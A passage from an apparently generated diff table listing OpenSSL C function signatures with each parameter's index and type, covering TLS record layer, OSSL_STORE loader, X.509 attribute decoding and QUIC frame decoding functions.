*) | | tls_default_post_process_record | 1 | TLS_RL_RECORD * | +| (OSSL_RECORD_LAYER *,TLS_RL_RECORD *) | | tls_do_compress | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,TLS_RL_RECORD *) | | tls_do_compress | 1 | TLS_RL_RECORD * | +| (OSSL_RECORD_LAYER *,TLS_RL_RECORD *) | | tls_do_uncompress | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,TLS_RL_RECORD *) | | tls_do_uncompress | 1 | TLS_RL_RECORD * | +| (OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **) | | dtls_prepare_record_header | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **) | | dtls_prepare_record_header | 1 | WPACKET * | +| (OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **) | | dtls_prepare_record_header | 2 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **) | | dtls_prepare_record_header | 3 | uint8_t | +| (OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **) | | dtls_prepare_record_header | 4 | unsigned char ** | +| (OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **) | | tls_prepare_record_header_default | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **) | | tls_prepare_record_header_default | 1 | WPACKET * | +| (OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **) | | tls_prepare_record_header_default | 2 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **) | | tls_prepare_record_header_default | 3 | uint8_t | +| (OSSL_RECORD_LAYER *,WPACKET *,OSSL_RECORD_TEMPLATE *,uint8_t,unsigned char **) | | tls_prepare_record_header_default | 4 | unsigned char ** | +| (OSSL_RECORD_LAYER *,const OSSL_PARAM *) | | tls_set_options | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,const OSSL_PARAM *) | | tls_set_options | 1 | const OSSL_PARAM * | +| (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,int) | | tls_set_first_handshake | 1 | int | +| (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,int) | | tls_set_plain_alerts | 1 | int | +| (OSSL_RECORD_LAYER *,int,int,const char *,...) | | ossl_rlayer_fatal | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,int,int,const char *,...) | | ossl_rlayer_fatal | 1 | int | +| (OSSL_RECORD_LAYER *,int,int,const char *,...) | | ossl_rlayer_fatal | 2 | int | +| (OSSL_RECORD_LAYER *,int,int,const char *,...) | | ossl_rlayer_fatal | 3 | const char * | +| (OSSL_RECORD_LAYER *,int,int,const char *,...) | | ossl_rlayer_fatal | 4 | ... | +| (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_frag_len | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_frag_len | 1 | size_t | +| (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_pipelines | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,size_t) | | tls_set_max_pipelines | 1 | size_t | +| (OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *) | | dtls_post_encryption_processing | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *) | | dtls_post_encryption_processing | 1 | size_t | +| (OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *) | | dtls_post_encryption_processing | 2 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *) | | dtls_post_encryption_processing | 3 | WPACKET * | +| (OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *) | | dtls_post_encryption_processing | 4 | TLS_RL_RECORD * | +| (OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *) | | tls_post_encryption_processing_default | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *) | | tls_post_encryption_processing_default | 1 | size_t | +| (OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *) | | tls_post_encryption_processing_default | 2 | OSSL_RECORD_TEMPLATE * | +| (OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *) | | tls_post_encryption_processing_default | 3 | WPACKET * | +| (OSSL_RECORD_LAYER *,size_t,OSSL_RECORD_TEMPLATE *,WPACKET *,TLS_RL_RECORD *) | | tls_post_encryption_processing_default | 4 | TLS_RL_RECORD * | +| (OSSL_RECORD_LAYER *,size_t,WPACKET *,TLS_RL_RECORD *) | | tls_prepare_for_encryption_default | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,size_t,WPACKET *,TLS_RL_RECORD *) | | tls_prepare_for_encryption_default | 1 | size_t | +| (OSSL_RECORD_LAYER *,size_t,WPACKET *,TLS_RL_RECORD *) | | tls_prepare_for_encryption_default | 2 | WPACKET * | +| (OSSL_RECORD_LAYER *,size_t,WPACKET *,TLS_RL_RECORD *) | | tls_prepare_for_encryption_default | 3 | TLS_RL_RECORD * | +| (OSSL_RECORD_LAYER *,size_t,size_t,int,int,size_t *) | | tls_default_read_n | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,size_t,size_t,int,int,size_t *) | | tls_default_read_n | 1 | size_t | +| (OSSL_RECORD_LAYER *,size_t,size_t,int,int,size_t *) | | tls_default_read_n | 2 | size_t | +| (OSSL_RECORD_LAYER *,size_t,size_t,int,int,size_t *) | | tls_default_read_n | 3 | int | +| (OSSL_RECORD_LAYER *,size_t,size_t,int,int,size_t *) | | tls_default_read_n | 4 | int | +| (OSSL_RECORD_LAYER *,size_t,size_t,int,int,size_t *) | | tls_default_read_n | 5 | size_t * | +| (OSSL_RECORD_LAYER *,size_t,size_t,size_t) | | tls_setup_write_buffer | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,size_t,size_t,size_t) | | tls_setup_write_buffer | 1 | size_t | +| (OSSL_RECORD_LAYER *,size_t,size_t,size_t) | | tls_setup_write_buffer | 2 | size_t | +| (OSSL_RECORD_LAYER *,size_t,size_t,size_t) | | tls_setup_write_buffer | 3 | size_t | +| (OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *) | | tls_get_max_records_default | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *) | | tls_get_max_records_default | 1 | uint8_t | +| (OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *) | | tls_get_max_records_default | 2 | size_t | +| (OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *) | | tls_get_max_records_default | 3 | size_t | +| (OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *) | | tls_get_max_records_default | 4 | size_t * | +| (OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *) | | tls_get_max_records_multiblock | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *) | | tls_get_max_records_multiblock | 1 | uint8_t | +| (OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *) | | tls_get_max_records_multiblock | 2 | size_t | +| (OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *) | | tls_get_max_records_multiblock | 3 | size_t | +| (OSSL_RECORD_LAYER *,uint8_t,size_t,size_t,size_t *) | | tls_get_max_records_multiblock | 4 | size_t * | +| (OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *) | | tls_read_record | 0 | OSSL_RECORD_LAYER * | +| (OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *) | | tls_read_record | 1 | void ** | +| (OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *) | | tls_read_record | 2 | int * | +| (OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *) | | tls_read_record | 3 | uint8_t * | +| (OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *) | | tls_read_record | 4 | const unsigned char ** | +| (OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *) | | tls_read_record | 5 | size_t * | +| (OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *) | | tls_read_record | 6 | uint16_t * | +| (OSSL_RECORD_LAYER *,void **,int *,uint8_t *,const unsigned char **,size_t *,uint16_t *,unsigned char *) | | tls_read_record | 7 | unsigned char * | +| (OSSL_ROLE_SPEC_CERT_ID *) | | OSSL_ROLE_SPEC_CERT_ID_free | 0 | OSSL_ROLE_SPEC_CERT_ID * | +| (OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long) | | d2i_OSSL_ROLE_SPEC_CERT_ID | 0 | OSSL_ROLE_SPEC_CERT_ID ** | +| (OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long) | | d2i_OSSL_ROLE_SPEC_CERT_ID | 1 | const unsigned char ** | +| (OSSL_ROLE_SPEC_CERT_ID **,const unsigned char **,long) | | d2i_OSSL_ROLE_SPEC_CERT_ID | 2 | long | +| (OSSL_ROLE_SPEC_CERT_ID_SYNTAX *) | | OSSL_ROLE_SPEC_CERT_ID_SYNTAX_free | 0 | OSSL_ROLE_SPEC_CERT_ID_SYNTAX * | +| (OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX | 0 | OSSL_ROLE_SPEC_CERT_ID_SYNTAX ** | +| (OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX | 1 | const unsigned char ** | +| (OSSL_ROLE_SPEC_CERT_ID_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_ROLE_SPEC_CERT_ID_SYNTAX | 2 | long | +| (OSSL_STATM *,OSSL_RTT_INFO *) | | ossl_statm_get_rtt_info | 0 | OSSL_STATM * | +| (OSSL_STATM *,OSSL_RTT_INFO *) | | ossl_statm_get_rtt_info | 1 | OSSL_RTT_INFO * | +| (OSSL_STATM *,OSSL_TIME,OSSL_TIME) | | ossl_statm_update_rtt | 0 | OSSL_STATM * | +| (OSSL_STATM *,OSSL_TIME,OSSL_TIME) | | ossl_statm_update_rtt | 1 | OSSL_TIME | +| (OSSL_STATM *,OSSL_TIME,OSSL_TIME) | | ossl_statm_update_rtt | 2 | OSSL_TIME | +| (OSSL_STORE_CTX *) | | OSSL_STORE_error | 0 | OSSL_STORE_CTX * | +| (OSSL_STORE_CTX *) | | OSSL_STORE_load | 0 | OSSL_STORE_CTX * | +| (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 0 | OSSL_STORE_CTX * | +| (OSSL_STORE_CTX *,int) | | OSSL_STORE_expect | 1 | int | +| (OSSL_STORE_CTX *,int,va_list) | | OSSL_STORE_vctrl | 0 | OSSL_STORE_CTX * | +| (OSSL_STORE_CTX *,int,va_list) | | OSSL_STORE_vctrl | 1 | int | +| (OSSL_STORE_CTX *,int,va_list) | | OSSL_STORE_vctrl | 2 | va_list | +| (OSSL_STORE_LOADER *,OSSL_STORE_attach_fn) | | OSSL_STORE_LOADER_set_attach | 0 | OSSL_STORE_LOADER * | +| (OSSL_STORE_LOADER *,OSSL_STORE_attach_fn) | | OSSL_STORE_LOADER_set_attach | 1 | OSSL_STORE_attach_fn | +| (OSSL_STORE_LOADER *,OSSL_STORE_close_fn) | | OSSL_STORE_LOADER_set_close | 0 | OSSL_STORE_LOADER * | +| (OSSL_STORE_LOADER *,OSSL_STORE_close_fn) | | OSSL_STORE_LOADER_set_close | 1 | OSSL_STORE_close_fn | +| (OSSL_STORE_LOADER *,OSSL_STORE_ctrl_fn) | | OSSL_STORE_LOADER_set_ctrl | 0 | OSSL_STORE_LOADER * | +| (OSSL_STORE_LOADER *,OSSL_STORE_ctrl_fn) | | OSSL_STORE_LOADER_set_ctrl | 1 | OSSL_STORE_ctrl_fn | +| (OSSL_STORE_LOADER *,OSSL_STORE_eof_fn) | | OSSL_STORE_LOADER_set_eof | 0 | OSSL_STORE_LOADER * | +| (OSSL_STORE_LOADER *,OSSL_STORE_eof_fn) | | OSSL_STORE_LOADER_set_eof | 1 | OSSL_STORE_eof_fn | +| (OSSL_STORE_LOADER *,OSSL_STORE_error_fn) | | OSSL_STORE_LOADER_set_error | 0 | OSSL_STORE_LOADER * | +| (OSSL_STORE_LOADER *,OSSL_STORE_error_fn) | | OSSL_STORE_LOADER_set_error | 1 | OSSL_STORE_error_fn | +| (OSSL_STORE_LOADER *,OSSL_STORE_expect_fn) | | OSSL_STORE_LOADER_set_expect | 0 | OSSL_STORE_LOADER * | +| (OSSL_STORE_LOADER *,OSSL_STORE_expect_fn) | | OSSL_STORE_LOADER_set_expect | 1 | OSSL_STORE_expect_fn | +| (OSSL_STORE_LOADER *,OSSL_STORE_find_fn) | | OSSL_STORE_LOADER_set_find | 0 | OSSL_STORE_LOADER * | +| (OSSL_STORE_LOADER *,OSSL_STORE_find_fn) | | OSSL_STORE_LOADER_set_find | 1 | OSSL_STORE_find_fn | +| (OSSL_STORE_LOADER *,OSSL_STORE_load_fn) | | OSSL_STORE_LOADER_set_load | 0 | OSSL_STORE_LOADER * | +| (OSSL_STORE_LOADER *,OSSL_STORE_load_fn) | | OSSL_STORE_LOADER_set_load | 1 | OSSL_STORE_load_fn | +| (OSSL_STORE_LOADER *,OSSL_STORE_open_ex_fn) | | OSSL_STORE_LOADER_set_open_ex | 0 | OSSL_STORE_LOADER * | +| (OSSL_STORE_LOADER *,OSSL_STORE_open_ex_fn) | | OSSL_STORE_LOADER_set_open_ex | 1 | OSSL_STORE_open_ex_fn | +| (OSSL_STORE_LOADER *,OSSL_STORE_open_fn) | | OSSL_STORE_LOADER_set_open | 0 | OSSL_STORE_LOADER * | +| (OSSL_STORE_LOADER *,OSSL_STORE_open_fn) | | OSSL_STORE_LOADER_set_open | 1 | OSSL_STORE_open_fn | +| (OSSL_TARGET *) | | OSSL_TARGET_free | 0 | OSSL_TARGET * | +| (OSSL_TARGET **,const unsigned char **,long) | | d2i_OSSL_TARGET | 0 | OSSL_TARGET ** | +| (OSSL_TARGET **,const unsigned char **,long) | | d2i_OSSL_TARGET | 1 | const unsigned char ** | +| (OSSL_TARGET **,const unsigned char **,long) | | d2i_OSSL_TARGET | 2 | long | +| (OSSL_TARGETING_INFORMATION *) | | OSSL_TARGETING_INFORMATION_free | 0 | OSSL_TARGETING_INFORMATION * | +| (OSSL_TARGETING_INFORMATION **,const unsigned char **,long) | | d2i_OSSL_TARGETING_INFORMATION | 0 | OSSL_TARGETING_INFORMATION ** | +| (OSSL_TARGETING_INFORMATION **,const unsigned char **,long) | | d2i_OSSL_TARGETING_INFORMATION | 1 | const unsigned char ** | +| (OSSL_TARGETING_INFORMATION **,const unsigned char **,long) | | d2i_OSSL_TARGETING_INFORMATION | 2 | long | +| (OSSL_TARGETS *) | | OSSL_TARGETS_free | 0 | OSSL_TARGETS * | +| (OSSL_TARGETS **,const unsigned char **,long) | | d2i_OSSL_TARGETS | 0 | OSSL_TARGETS ** | +| (OSSL_TARGETS **,const unsigned char **,long) | | d2i_OSSL_TARGETS | 1 | const unsigned char ** | +| (OSSL_TARGETS **,const unsigned char **,long) | | d2i_OSSL_TARGETS | 2 | long | +| (OSSL_TIME_PERIOD *) | | OSSL_TIME_PERIOD_free | 0 | OSSL_TIME_PERIOD * | +| (OSSL_TIME_PERIOD **,const unsigned char **,long) | | d2i_OSSL_TIME_PERIOD | 0 | OSSL_TIME_PERIOD ** | +| (OSSL_TIME_PERIOD **,const unsigned char **,long) | | d2i_OSSL_TIME_PERIOD | 1 | const unsigned char ** | +| (OSSL_TIME_PERIOD **,const unsigned char **,long) | | d2i_OSSL_TIME_PERIOD | 2 | long | +| (OSSL_TIME_SPEC *) | | OSSL_TIME_SPEC_free | 0 | OSSL_TIME_SPEC * | +| (OSSL_TIME_SPEC **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC | 0 | OSSL_TIME_SPEC ** | +| (OSSL_TIME_SPEC **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC | 1 | const unsigned char ** | +| (OSSL_TIME_SPEC **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC | 2 | long | +| (OSSL_TIME_SPEC_ABSOLUTE *) | | OSSL_TIME_SPEC_ABSOLUTE_free | 0 | OSSL_TIME_SPEC_ABSOLUTE * | +| (OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_ABSOLUTE | 0 | OSSL_TIME_SPEC_ABSOLUTE ** | +| (OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_ABSOLUTE | 1 | const unsigned char ** | +| (OSSL_TIME_SPEC_ABSOLUTE **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_ABSOLUTE | 2 | long | +| (OSSL_TIME_SPEC_DAY *) | | OSSL_TIME_SPEC_DAY_free | 0 | OSSL_TIME_SPEC_DAY * | +| (OSSL_TIME_SPEC_DAY **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_DAY | 0 | OSSL_TIME_SPEC_DAY ** | +| (OSSL_TIME_SPEC_DAY **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_DAY | 1 | const unsigned char ** | +| (OSSL_TIME_SPEC_DAY **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_DAY | 2 | long | +| (OSSL_TIME_SPEC_MONTH *) | | OSSL_TIME_SPEC_MONTH_free | 0 | OSSL_TIME_SPEC_MONTH * | +| (OSSL_TIME_SPEC_MONTH **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_MONTH | 0 | OSSL_TIME_SPEC_MONTH ** | +| (OSSL_TIME_SPEC_MONTH **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_MONTH | 1 | const unsigned char ** | +| (OSSL_TIME_SPEC_MONTH **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_MONTH | 2 | long | +| (OSSL_TIME_SPEC_TIME *) | | OSSL_TIME_SPEC_TIME_free | 0 | OSSL_TIME_SPEC_TIME * | +| (OSSL_TIME_SPEC_TIME **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_TIME | 0 | OSSL_TIME_SPEC_TIME ** | +| (OSSL_TIME_SPEC_TIME **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_TIME | 1 | const unsigned char ** | +| (OSSL_TIME_SPEC_TIME **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_TIME | 2 | long | +| (OSSL_TIME_SPEC_WEEKS *) | | OSSL_TIME_SPEC_WEEKS_free | 0 | OSSL_TIME_SPEC_WEEKS * | +| (OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_WEEKS | 0 | OSSL_TIME_SPEC_WEEKS ** | +| (OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_WEEKS | 1 | const unsigned char ** | +| (OSSL_TIME_SPEC_WEEKS **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_WEEKS | 2 | long | +| (OSSL_TIME_SPEC_X_DAY_OF *) | | OSSL_TIME_SPEC_X_DAY_OF_free | 0 | OSSL_TIME_SPEC_X_DAY_OF * | +| (OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_X_DAY_OF | 0 | OSSL_TIME_SPEC_X_DAY_OF ** | +| (OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_X_DAY_OF | 1 | const unsigned char ** | +| (OSSL_TIME_SPEC_X_DAY_OF **,const unsigned char **,long) | | d2i_OSSL_TIME_SPEC_X_DAY_OF | 2 | long | +| (OSSL_USER_NOTICE_SYNTAX *) | | OSSL_USER_NOTICE_SYNTAX_free | 0 | OSSL_USER_NOTICE_SYNTAX * | +| (OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_USER_NOTICE_SYNTAX | 0 | OSSL_USER_NOTICE_SYNTAX ** | +| (OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_USER_NOTICE_SYNTAX | 1 | const unsigned char ** | +| (OSSL_USER_NOTICE_SYNTAX **,const unsigned char **,long) | | d2i_OSSL_USER_NOTICE_SYNTAX | 2 | long | +| (OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio_ctx | 0 | OSSL_i2d_of_void_ctx * | +| (OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio_ctx | 1 | void * | +| (OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio_ctx | 2 | const char * | +| (OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio_ctx | 3 | BIO * | +| (OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio_ctx | 4 | const void * | +| (OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio_ctx | 5 | const EVP_CIPHER * | +| (OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio_ctx | 6 | const unsigned char * | +| (OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio_ctx | 7 | int | +| (OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio_ctx | 8 | pem_password_cb * | +| (OSSL_i2d_of_void_ctx *,void *,const char *,BIO *,const void *,const EVP_CIPHER *,const unsigned char *,int,pem_password_cb *,void *) | | PEM_ASN1_write_bio_ctx | 9 | void * | +| (OTHERNAME *) | | OTHERNAME_free | 0 | OTHERNAME * | +| (OTHERNAME **,const unsigned char **,long) | | d2i_OTHERNAME | 0 | OTHERNAME ** | +| (OTHERNAME **,const unsigned char **,long) | | d2i_OTHERNAME | 1 | const unsigned char ** | +| (OTHERNAME **,const unsigned char **,long) | | d2i_OTHERNAME | 2 | long | +| (OTHERNAME *,OTHERNAME *) | | OTHERNAME_cmp | 0 | OTHERNAME * | +| (OTHERNAME *,OTHERNAME *) | | OTHERNAME_cmp | 1 | OTHERNAME * | +| (PACKET *) | | ossl_quic_wire_decode_padding | 0 | PACKET * | +| (PACKET *,BIGNUM *) | | ossl_decode_der_integer | 0 | PACKET * | +| (PACKET *,BIGNUM *) | | ossl_decode_der_integer | 1 | BIGNUM * | +| (PACKET *,OSSL_QUIC_FRAME_CONN_CLOSE *) | | ossl_quic_wire_decode_frame_conn_close | 0 | PACKET * | +| (PACKET *,OSSL_QUIC_FRAME_CONN_CLOSE *) | | ossl_quic_wire_decode_frame_conn_close | 1 | OSSL_QUIC_FRAME_CONN_CLOSE * | +| (PACKET *,OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_wire_decode_frame_new_conn_id | 0 | PACKET * | +| (PACKET *,OSSL_QUIC_FRAME_NEW_CONN_ID *) | | ossl_quic_wire_decode_frame_new_conn_id | 1 | OSSL_QUIC_FRAME_NEW_CONN_ID * | +| (PACKET *,OSSL_QUIC_FRAME_RESET_STREAM *) | | ossl_quic_wire_decode_frame_reset_stream | 0 | PACKET * | +| (PACKET *,OSSL_QUIC_FRAME_RESET_STREAM *) | | ossl_quic_wire_decode_frame_reset_stream | 1 | OSSL_QUIC_FRAME_RESET_STREAM * | +| (PACKET *,OSSL_QUIC_FRAME_STOP_SENDING *) | | ossl_quic_wire_decode_frame_stop_sending | 0 | PACKET * | +| (PACKET *,OSSL_QUIC_FRAME_STOP_SENDING *) | | ossl_quic_wire_decode_frame_stop_sending | 1 | OSSL_QUIC_FRAME_STOP_SENDING * | +| (PACKET *,PACKET *) | | ossl_decode_der_length | 0 | PACKET * | +| (PACKET *,PACKET *) | | ossl_decode_der_length | 1 | PACKET * | +| (PACKET *,QUIC_PREFERRED_ADDR *) | | ossl_quic_wire_decode_transport_param_preferred_addr | 0 | PACKET * | +| (PACKET *,QUIC_PREFERRED_ADDR *) | | ossl_quic_wire_decode_transport_param_preferred_addr | 1 | QUIC_PREFERRED_ADDR * | +| (PACKET *,const unsigned char **,size_t *) | | ossl_quic_wire_decode_frame_new_token | 0 | PACKET * | +| (PACKET *,const unsigned char **,size_t *) | | ossl_quic_wire_decode_frame_new_token | 1 | const unsigned char ** | +| (PACKET *,const unsigned char **,size_t *) | | ossl_quic_wire_decode_frame_new_token | 2 | size_t * | +| (PACKET *,int,OSSL_QUIC_FRAME_CRYPTO *) | | ossl_quic_wire_decode_frame_crypto | 0 | PACKET * | +| (PACKET *,int,OSSL_QUIC_FRAME_CRYPTO *) | | ossl_quic_wire_decode_frame_crypto | 1 | int | +| (PACKET *,int,OSSL_QUIC_FRAME_CRYPTO *) | | ossl_quic_wire_decode_frame_crypto | 2 | OSSL_QUIC_FRAME_CRYPTO * | +| (PACKET *,int,OSSL_QUIC_FRAME_STREAM *) | | ossl_quic_wire_decode_frame_stream | 0 | PACKET * | +| (PACKET *,int,OSSL_QUIC_FRAME_STREAM *) | | ossl_quic_wire_decode_frame_stream | 1 | int | +| (PACKET *,int,OSSL_QUIC_FRAME_STREAM *) | | ossl_quic_wire_decode_frame_stream | 2 | OSSL_QUIC_FRAME_STREAM * | +| (PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *) | | ossl_quic_wire_decode_pkt_hdr | 0 | PACKET * | +| (PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *) | | ossl_quic_wire_decode_pkt_hdr | 1 | size_t | +| (PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *) | | ossl_quic_wire_decode_pkt_hdr | 2 | int | +| (PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *) | | ossl_quic_wire_decode_pkt_hdr | 3 | int | +| (PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *) | | ossl_quic_wire_decode_pkt_hdr | 4 | QUIC_PKT_HDR * | +| (PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *) | | ossl_quic_wire_decode_pkt_hdr | 5 | QUIC_PKT_HDR_PTRS * | +| (PACKET *,size_t,int,int,QUIC_PKT_HDR *,QUIC_PKT_HDR_PTRS *,uint64_t *) | | ossl_quic_wire_decode_pkt_hdr | 6 | uint64_t * | +| (PACKET *,uint16_t **,size_t *) | | tls1_save_u16 | 0 | PACKET * | +| (PACKET *,uint16_t **,size_t *) | | tls1_save_u16 | 1 | uint16_t ** | +| (PACKET *,uint16_t **,size_t *) | | tls1_save_u16 | 2 | size_t * | +| (PACKET *,uint32_t,OSSL_QUIC_FRAME_ACK *,uint64_t *) | | ossl_quic_wire_decode_frame_ack | 0 | PACKET * | +| (PACKET *,uint32_t,OSSL_QUIC_FRAME_ACK *,uint64_t *) | | ossl_quic_wire_decode_frame_ack | 1 | uint32_t | +| (PACKET *,uint32_t,OSSL_QUIC_FRAME_ACK *,uint64_t *) | | ossl_quic_wire_decode_frame_ack | 2 | OSSL_QUIC_FRAME_ACK * | +| (PACKET *,uint32_t,OSSL_QUIC_FRAME_ACK *,uint64_t *) | | ossl_quic_wire_decode_frame_ack | 3 | uint64_t * | +| (PACKET *,uint64_t *) | | 